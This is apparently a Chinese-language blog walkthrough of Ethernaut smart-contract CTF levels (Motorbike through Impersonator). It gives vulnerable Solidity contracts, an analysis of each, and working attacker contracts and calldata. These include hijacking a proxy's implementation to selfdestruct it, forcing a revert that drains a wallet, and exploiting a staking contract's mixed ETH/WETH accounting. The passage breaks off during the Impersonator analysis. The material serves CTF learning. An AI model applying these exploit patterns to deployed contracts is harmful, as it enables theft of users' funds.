            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`.
    // Will run if no other function in the contract matches the call data
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

分析

该题目使用了代理模式的EIP-1967,在代理合约的指定slot存放逻辑合约、Beacon合约等,导致了slot的碰撞几乎不可能;

image-20250216200401724

所以Motorbike合约很难下手(没啥方法来改动_IMPLEMENTATION_SLOT);

接下来看看Engine合约,其继承了Initializable,大概意思就是有两个bool类型的状态变量确保initialize()-设置马力和升级者只能执行一次;

但是这边有slot碰撞:

Engine有两个slot,slot0存放address类型,slot1存放uint256类型;

Initializable有一个slot,slot0中存放两个bool类型,均是检测是否已经初始化;

也就是说,要是Engine的slot0中的最右边两个比特均为0,那就可以利用我们自己的钱包再初始化一次;

image-20250218003824162

果然是0,那后面就简单了,调用initialize()将我们自己设置为升级者,然后调用upgradeToAndCall()替换我们自己实现的销毁合约并执行即可;

攻击

// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract Exp {
    function Attack() public {
        selfdestruct(payable(msg.sender));
    }
    // 注释即可,用来算calldata的
    // 0xf28adc4d
    function getHash() public pure returns (bytes memory){
        return abi.encodeWithSignature("Attack()");
    }
}

首先初始化:

image-20250218005504283

销毁合约:

image-20250218005643590

但此时提交会失败,查看交易记录却显示调用了销毁,但是合约还在:

image-20250218233546819

image-20250218233559678

经过搜索,是以太坊经过Dencun升级后,调用selfdestruct()仅会转走ETH,不会销毁合约,除非合约的创建和销毁在同一条交易记录中

解决的方法总结下来就是通过计算instance合约创建的地址,然后通过自动化题目创建、代理合约创建、攻击、销毁、提交题目一条龙(由于这并不是本题的主要目的,且之前题目有过如何计算合约创建地址,就不演示了);

Level_26.DoubleEntryPoint

要求:

部署一个Bot,找到CryptVault的bug并且保护其DET不被扫空;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
    function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
    mapping(address => IDetectionBot) public usersDetectionBots;
    mapping(address => uint256) public botRaisedAlerts;

    function setDetectionBot(address detectionBotAddress) external override {
        usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
    }

    function notify(address user, bytes calldata msgData) external override {
        if (address(usersDetectionBots[user]) == address(0)) return;
        try usersDetectionBots[user].handleTransaction(user, msgData) {
            return;
        } catch {}
    }

    function raiseAlert(address user) external override {
        if (address(usersDetectionBots[user]) != msg.sender) return;
        botRaisedAlerts[msg.sender] += 1;
    }
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if (forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(address to, uint256 value, address origSender)
        public
        override
        onlyDelegateFrom
        fortaNotify
        returns (bool)
    {
        _transfer(origSender, to, value);
        return true;
    }
}

分析

题目很长,首先一个一个合约的看:

interface DelegateERC20:有一个delegateTransfer(to,value,originSender)接口函数;

interface IDetectionBot:有一个handleTransaction(user,msgData)接口函数,也是我们需要实现的函数;

interface IForta:Forta的接口函数,有3个函数需要实现;

contract Forta:

映射usersDetectionBots存放我们实现的Bot地址;

映射botRaisedAlerts存放Bot发出的警告数;

方法setDetectionBot(BotAddress)设置并存放Bot地址;

方法notify(user,msgData)Bot运行handleTransaction(user,msgData)检查处理交易;

方法raiseAlert(user)增加警告数;

contract CryptoVault(持有100LGT和100DET):

通过一个recipient地址来构造,有一个underlyingtoken(题目中说了是DET,后面就只写DET了);

方法setUnderlying(lastToken)可以设置一个新token;

方法sweepToken(token)可以向recipient发送该合约所拥有的该token,但不能sweaptokenDET

contract LegacyToken:

ERC20代币LGT的合约;

有一个实现DelegateERC20接口的delegate地址,可以用来调用delegateTransfer(to,value,originSender)

方法delegateToNewContract(newContract)用来设置新的delegate

重写的transfer方法使用了delegate.delegateTransfer,注意这不是delegatecall,下一个合约中实现了该函数,意味着只是originSender转帐到to

contract DoubleEntryPoint:

ERC20代币DET的合约,同时实现了DelegateERC20接口的delegateTransfer函数;

存储着cryptoVaultplayerdelegatedFromforta的地址;

修饰器onlyDelegateFrom()判断sender是否为delegateFrom

修饰器fortaNotify()调用我们自己实现的Bot检查并触发警告;

实现的delegateTransfer函数从originSender转帐到to

我们所拿到的题目地址是DoubleEntryPoint的,首先将几个状态变量的地址都找到:

const DETAddress = await contract.address
// 0x57a6B590b6Ef7dfF5142e661159ee35a68B1E8A4

const cryptoVaultAddress = await contract.cryptoVault()
// 0x1CFe2eff88a0dE3A6889ff9556fC00FB7b593e99

const delegateFromAddress = await contract.delegatedFrom()
const LGTAddress = delegateFromAddress
// 由于delegatedFrom = legacyToken;所以代币LGT的地址也是这个
// 0xbFf599F7b3c0c76ab0AAeDaaB554cfDFe547D3C1

const fortaAddress = await contract.forta()
// 0xA2A5aBdB66b8F3E01277Ac43268328b4e0EB71a5

通过上面的这些地址,再深入看看各个合约的内部信息:

// CryptoVault合约的sweptTokensRecipient地址,就是我们自己
await web3.eth.getStorageAt(cryptoVaultAddress, 0)
// 0x0000000000000000000000007148c25a8c78b841f771b2b2eead6a6220718390

// CryptoVault合约的underlying地址,就是DET的地址
await web3.eth.getStorageAt(cryptoVaultAddress, 1)
// 0x00000000000000000000000057a6b590b6ef7dff5142e661159ee35a68b1e8a4

// LGT代币中delegate的地址
await web3.eth.call({from: player,to: LGTAddress,data: '0xc89e4361'/*delegate()*/})
// 0x00000000000000000000000057a6b590b6ef7dff5142e661159ee35a68b1e8a4

上面最后获得delegate的地址时,为什么直接用call?

直接执行await web3.eth.getStorageAt(LGTAddress, 0)的结果为全0;

因为LegacyToken继承了ERC20Ownableslot 0处并不是delegate

前面分别有mapping _balancesmapping _allowancesuint256 _totalSupplystring _namestring _symboladdress _owner

根据计算,正好每个占一个slot,所以执行await web3.eth.getStorageAt(LGTAddress, 6)又可以拿到正确地址;

观察上面的地址,发现LGT代币中的delegate居然就是DET代币的地址;

再看看LGT合约中的transfer方法,delegate.delegateTransfer(to, value, msg.sender);,会直接将DET转给to

而如果用LGT合约的地址作为CryptoVault合约中sweapToken方法的参数,token.transfer()便会执行上面的流程;

CryptoVault.sweapToken(LGT) -->

​ LGT.transfer() --> LGT.delegate.delegateTransfer() -->

​ DET.delegateTransfer() --> DET._transfer()

所以,这样CryptoVault中的DET会被全部转走;

由于只有DET.delegateTransfer()这一步实现了fortaNotify,所以我们只能检测这部分的calldata

tovalue这两个值都可以随意更改,无法准确检测,只有origSender可以判断,因为此时这边的origSender一定是CryptoVault的地址;

下面开始推测发出的calldatacalldata的布局

调用delegateTransfer应该是:

// 0x
// 9cd1a121 --> keccak(delegateTransfer(address,uint256,address))的前4个字节
// 32个字节 --> to
// 32个字节 --> value
// 0x0000000000000000000000001CFe2eff88a0dE3A6889ff9556fC00FB7b593e99 --> origSender,也就是我们需要检测的地方

但是,delegateTransfer有两个修饰器onlyDelegateFromfortaNotify

修饰器并不是函数调用,不需要calldata,其中_;只是单纯的将代码移植到后面来;

所以onlyDelegateFrom无需关注,但fortaNotify需要注意一下,它其中调用了notify,并且是在这传入了调用notify()calldata,然后方法中调用了handleTransaction方法,此时这边才是我们需要的msg.data

传入执行delegateTransfer的calldata --> DET.delegateTransfer() -->

传入执行notify的calldata --> Forta.notify() -->

真正需要的calldata,执行handleTransaction的calldata --> IDetectionBot.handleTransaction()

所以这才是传入的calldata:

偏移 数据 备注
0x00 220ab6aa keccak(handleTransaction(address,bytes))的前4个字节
0x04 地址(32个字节) user
0x24 0x00..0020(32个字节) msgData的偏移(bytes的开始包括长度信息),从自身开始算,即0x24开始,一共0x20个字节就是长度信息
0x44 0x00..0064(32个字节) msgData的长度,即下面的几个字段,0x4 + 0x20 + 0x20 + 0x20 = 0x64
0x64 9cd1a121 keccak(delegateTransfer(address,uint256,address))的前4个字节
0x68 地址(32个字节) to
0x88 uint256(32个字节) value
0xA8 0x0000000000000000000000001CFe2eff88a0dE3A6889ff9556fC00FB7b593e99 origSender,也就是我们需要检测的地方
0xC8 00..00(32-4=28个字节) 填充部分,因为从偏移0x4开始的后面需要为32字节倍数

我们只需检测0x68处的值是否为CryptoVault的地址即可;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ethernaut.sol";

contract Exp is IDetectionBot {
    address private vault;
    constructor(address _vault){
        vault = _vault;
    }
    function handleTransaction(address user, bytes calldata) external override {
        address to;
        uint256 value;
        address originSender;

        assembly {
            to := calldataload(0x68)
            value := calldataload(0x88)
            originSender := calldataload(0xa8)
        }
        if (originSender == vault){
            Forta(msg.sender).raiseAlert(user);
        }
    }
}

Forta中设置Bot即可;

Level_27.Good Samaritan

要求:

排空Samaritan中所有coin;

合约:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10 ** 6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

分析

看完题目,发现漏洞点很明显,即requestDonation()方法中的异常部分;

只要触发NotEnoughBalance()异常,就会调用transferRemainder()转出全部余额;

着重来看coin.transfer()

if (dest_.isContract()) {
    // notify contract
    INotifyable(dest_).notify(amount_);
}

发现要是合约与其交互,就会触发notify(amount);所以我们需要接管notify(),使其触发NotEnoughBalance()异常即可;

合约中如何Hook;我们可以Hooknotify(),使其触发异常;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ethernaut.sol";

contract Exp is INotifyable {
    GoodSamaritan gs;
    error NotEnoughBalance();

    constructor(address addr){
        gs = GoodSamaritan(addr);
    }

    function Attack() public {
        gs.requestDonation();
    }

    function notify(uint256 amount) external pure virtual override  {
        if (amount == 10){
            revert NotEnoughBalance();
        }
    }
}

Level_28.Gatekeeper Three

要求:

通过守门人;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint256 private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint256 _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function construct0r() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    modifier gateThree() {
        if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
            _;
        }
    }

    function getAllowance(uint256 _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}

分析

第一道关卡

依旧很简单,一个假的构造函数,可以直接利用call调用,这样owner就会变成Exp合约地址;

之后调用enter()时,tx.origin则为我们的钱包地址;

第二道关卡

调用getAllowance(),然后拿到SimpleTrick合约中正确的password即可;

第三道关卡

首先需要GatekeeperThree合约中大于0.001ETH,之后向owner合约中发送ETH需要失败,可以在receive()中使用revert()中来拒绝收款;

攻击

  1. 调用createTrick创建SimpleTrick合约,此时会初始化password
  2. 获得SimpleTrick合约地址,并且拿到正确的password,使allowEntrance为true;
  3. 创建一个exp合约,调用construct0r(),使owner变成exp合约地址,同时receive中使用revert来拒绝收款;
  4. 发送0.0011ETH到题目合约中;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ethernaut.sol";

contract Exp {
    GatekeeperThree public gt;
    constructor(address addr) {
        gt = GatekeeperThree(payable(addr));
    }

    function Attack(uint256 password) public  {
        gt.construct0r();
        gt.getAllowance(password);
        gt.enter();
    }

    receive() external payable { 
        revert();
    }
}

得到SimpleTrick合约地址:

image-20250223210700379

获得正确的密码:

image-20250223210851073

发送ETH:

image-20250223211516222

部署exp合约,并Attack;

Level_29.Switch

要求:

翻转开关;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success,) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}

分析

此题需要我们将开关翻转为开,也就是需要调用turnSwitchOn()函数;

修饰器onlyThis()意味着我们只能调用flipSwitch()函数,且不能通过钱包调用,而是利用合约自身发出calldata来,这样msg.sender才是合约本身;

修饰器onlyOff()中有检测指定位置(在calldata的68偏移处)是否有offSelector,所以calldata中还需要有turnSwitchOff()

所以calldata中至少得有flipSwitch()turnSwitchOff()turnSwitchOn(),下面开始构造:

偏移 数据 备注
0x00 30c13ade flipSwitch(bytes)的selector
0x04 0x00...0044(32字节) bytes memory数据的偏移,0x20(自身) + 0x20(全0) + 0x4(off) = 0x44
0x24 0x00...0000(32字节) 填充数据,随便什么
0x44 20606e15 turnSwitchOff()的selector,必须是该值
0x48 0x00...0004(32字节) bytes memory数据的长度,由于只需调用函数,所以4字节
0x68 76227e12 turnSwitchOn()的selector,真正调用的函数
0x6c 0x00..00(24字节) 填充数据,需要使除了selector外为32字节的整数倍

攻击

发送calldata时,会出现:

image-20250225123038779

此时我们只需自己添加一个fallback即可;

image-20250225123214194

Level_30.HigherOrder

要求:

成为Commander;

合约:

// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

分析

我们传输的数据需要大于255才能成为Commander,可是大于255起码需要3个hex;

此时注意编译版本:0.6,这时候还没有参数的边界检查,采用的是ABICoder V1,到了0.8版本才开始使用参数的边界检查

所以我们只需要自己构造一个大于0xFF的值作为calldata就行了;

function getCalldata() public returns (bytes memory){
    return abi.encodeWithSignature("registerTreasury(uint8)", 0xFFFF);
}
// 0x211c85ab000000000000000000000000000000000000000000000000000000000000ffff

攻击

记得加个fallback()函数后再点击At Address,不然直接输入calldata会失败;

image-20250227222538002

查看值确实大于0xFF,调用claimLeadership()即可:

image-20250227222647619

Level_31.Stake

要求:

排空合约中的余额;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

分析

这是一个质押合约,其中可以质押ETH和一个与ETH等价1:1的ERC20代币WETH,我们需要将其中所有余额排空;

同时还需要满足:

  • 质押合约中ETH余额需要大于0;
  • 总的质押数需要大于合约余额;
  • 成为质押者且余额为0;

StakeETH()函数中,没什么大问题;

StakeWETH()函数中,需要质押数额大于0.001ether,随后调用0xdd62ed3eallowance(address,address)查看授予的余额,但此处只接收了额度,但没有接收是否正确执行;随后调用0x23b872ddtransferFrom(addressA,addressB,uint256)转账,扣的是allowance[msg.sender]中的值,实际是A转给B,这边貌似也没什么问题;

Unstake()函数中,将WETH和ETH混为一谈,只要用户有质押,就可以取ETH或者WETH,那么我们就可以质押WETH,然后换成ETH全部取出来;

所以我们需要做的就是:

  1. 写一个攻击合约,利用其给题目合约授权尽可能多的WETH,并质押1WETH,同时质押0.0011ETH(模拟真实环境中受害者);
  2. 用自己的账户授权WETH,然后质押0.0011WETH;
  3. 取回质押的ETH;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ethernaut.sol";

contract Exp {
    Stake stake;
    address public WETH;

    constructor(address _stake, address _weth){
        stake = Stake(_stake);
        WETH = _weth;
    }

    function VictimStake() public payable {
        // 授权WETH
        (bool success, ) = address(WETH).call(abi.encodeWithSignature("approve(address,uint256)", address(stake), 100 ether));
        // 质押WETH
        stake.StakeWETH(1 ether);
        // 质押ETH
        stake.StakeETH{value:0.0011 ether}();
    }
}

获得WETH合约的地址:

image-20250228225306468

使用Exp合约授权、质押1WETH和0.0011ETH:

image-20250228230418918

image-20250228230536928

用自己钱包给合约授权,质押0.0011WETH,并取出余额:

image-20250228230826428

image-20250228230934865

此时发现题目没过关,重新审查题目,需要合约ETH余额大于0,只需修改Exp合约,质押0.0011ETH改为0.0012就行,留最后0.0001在上面即可;

image-20250228232533333

Level_32.Impersonator

要求:

使任何人可以打开门;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "openzeppelin-contracts-08/access/Ownable.sol";

// SlockDotIt ECLocker factory
contract Impersonator is Ownable {
    uint256 public lockCounter;
    ECLocker[] public lockers;

    event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature);

    constructor(uint256 _lockCounter) {
        lockCounter = _lockCounter;
    }

    function deployNewLock(bytes memory signature) public onlyOwner {
        // Deploy a new lock
        ECLocker newLock = new ECLocker(++lockCounter, signature);
        lockers.push(newLock);
        emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
    }
}

contract ECLocker {
    uint256 public immutable lockId;
    bytes32 public immutable msgHash;
    address public controller;
    mapping(bytes32 => bool) public usedSignatures;

    event LockInitializated(address indexed initialController, uint256 timestamp);
    event Open(address indexed opener, uint256 timestamp);
    event ControllerChanged(address indexed newController, uint256 timestamp);

    error InvalidController();
    error SignatureAlreadyUsed();

    /// @notice Initializes the contract the lock
    /// @param _lockId uinique lock id set by SlockDotIt's factory
    /// @param _signature the signature of the initial controller
    constructor(uint256 _lockId, bytes memory _signature) {
        // Set lockId
        lockId = _lockId;

        // Compute msgHash
        bytes32 _msgHash;
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
            mstore(0x1C, _lockId) // 32 bytes
            _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
        }
        msgHash = _msgHash;

        // Recover the initial controller from the signature
        address initialController = address(1);
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, _msgHash) // 32 bytes
            mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
            mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
            mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
            pop(
                staticcall(
                    gas(), // Amount of gas left for the transaction.
                    initialController, // Address of `ecrecover`.
                    ptr, // Start of input.
                    0x80, // Size of input.
                    0x00, // Start of output.
                    0x20 // Size of output.
                )
            )
            if iszero(returndatasize()) {
                mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
                revert(0x1c, 0x04)
            }
            initialController := mload(0x00)
            mstore(0x40, add(ptr, 128))
        }

        // Invalidate signature
        usedSignatures[keccak256(_signature)] = true;

        // Set the controller
        controller = initialController;

        // emit LockInitializated
        emit LockInitializated(initialController, block.timestamp);
    }

    /// @notice Opens the lock
    /// @dev Emits Open event
    /// @param v the recovery id
    /// @param r the r value of the signature
    /// @param s the s value of the signature
    function open(uint8 v, bytes32 r, bytes32 s) external {
        address add = _isValidSignature(v, r, s);
        emit Open(add, block.timestamp);
    }

    /// @notice Changes the controller of the lock
    /// @dev Updates the controller storage variable
    /// @dev Emits ControllerChanged event
    /// @param v the recovery id
    /// @param r the r value of the signature
    /// @param s the s value of the signature
    /// @param newController the new controller address
    function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
        _isValidSignature(v, r, s);
        controller = newController;
        emit ControllerChanged(newController, block.timestamp);
    }

    function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) {
        address _address = ecrecover(msgHash, v, r, s);
        require (_address == controller, InvalidController());

        bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
        require (!usedSignatures[signatureHash], SignatureAlreadyUsed());

        usedSignatures[signatureHash] = true;

        return _address;
    }
}

分析

我们拿到手的是一个Impersonator合约,该合约类似一个工厂合约,可以批量生产ECLocker合约,并将其存在lockers数组中,释放NewLock()事件;

部署到Remix上时发现lockers数组中已经有了题目给我们的一个lock:

image-20250302000629895

为了看到更多的信息,可以直接查看区块浏览器上的Events:

image-20250302001033148

lockAddress:0x0000000000000000000000000861a3e8260e60f89aec61c3dadb1f3bbaacc4e2(在topic1中,因为有indexed修饰)

lockId:0x539

timestamp:0x67c2b8bc

signature:0x1932cb...00001b(第3行的0x60代表的是在整个bytes中的偏移,第4行的0x60代表的是长度)

先记录下来,后面可能有用,但给的这个合约貌似不能使任何人都能开门,下面来分析ECLocker合约;

先看构造函数,很复杂:

// Set lockId
lockId = _lockId;

设置lockid

// Compute msgHash
bytes32 _msgHash;
assembly {
    mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
    mstore(0x1C, _lockId) // 32 bytes
    _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
}
msgHash = _msgHash;

计算msgHash,将\x19Ethereum Signed Message:\n32一共28字节存储在内存0x00开始的位置(和EIP-191一样);然后将lockid一共32个字节接着存在后面,因为0x1c就是28,之后将整个数据计算keccak,存在msgHash中;

// Recover the initial controller from the signature
address initialController = address(1);

初始化initialController为地址0x1

assembly {
    let ptr := mload(0x40)
    mstore(ptr, _msgHash) // 32 bytes
    mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
    mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
    mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
    pop(
        staticcall(
            gas(), // Amount of gas left for the transaction.
            initialController, // Address of `ecrecover`.
            ptr, // Start of input.
            0x80, // Size of input.
            0x00, // Start of output.
            0x20 // Size of output.
        )
    )
    if iszero(returndatasize()) {
        mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
        revert(0x1c, 0x04)
    }
    initialController := mload(0x00)
    mstore(0x40, add(ptr, 128))
}

指针ptr指向内存偏移0x40处,将_msgHash存入其中,然后分别在后面的3个32字节的偏移处存放vrs

此时的内存图:

偏移 数据
0x00 "\x19Ethereum Signed Message:\n32" + lockId
0x20 上面0x00-0x1f中未存下的数据
0x40 msgHash = keccak("\x19Ethereum Signed Message:\n32" + lockId)
0x60 v
0x80 r
0xa0 s
assembly {
    pop(
        staticcall(
            gas(), // Amount of gas left for the transaction.
            initialController, // Address of `ecrecover`.
            ptr, // Start of input.
            0x80, // Size of input.
            0x00, // Start of output.
            0x20 // Size of output.
        )
    )
}

使用pop()将call的结果从栈中取出,调用的函数是ecrecover,输入参数开始的偏移是ptr,也就是内存0x40开始,大小是0x80,返回值开始的偏移是0x00,大小是0x20,此时的内存图:

偏移 数据 备注
0x00 "\x19Ethereum Signed Message:\n32" + lockId 会被返回值覆盖
